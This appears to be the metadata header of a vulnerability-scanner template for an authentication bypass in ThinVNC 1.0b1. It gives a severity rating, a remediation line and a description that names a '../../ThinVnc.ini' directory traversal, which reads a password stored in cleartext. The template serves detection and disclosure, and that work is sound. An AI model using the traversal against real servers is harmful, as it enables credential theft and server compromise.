info:
|
|
name: ThinVNC 1.0b1 - Authentication Bypass
|
|
author: DhiyaneshDK
|
|
severity: critical
|
|
description: |
|
|
ThinVNC 1.0b1 is vulnerable to arbitrary file read, which leads to a compromise of the VNC server. The vulnerability exists even when authentication is turned on during the deployment of the VNC server. The password for authentication is stored in cleartext in a file that can be read via a ../../ThinVnc.ini directory traversal attack vector.
|
|
remediation: |
|
|
Upgrade to a patched version of ThinVNC or implement additional authentication mechanisms.
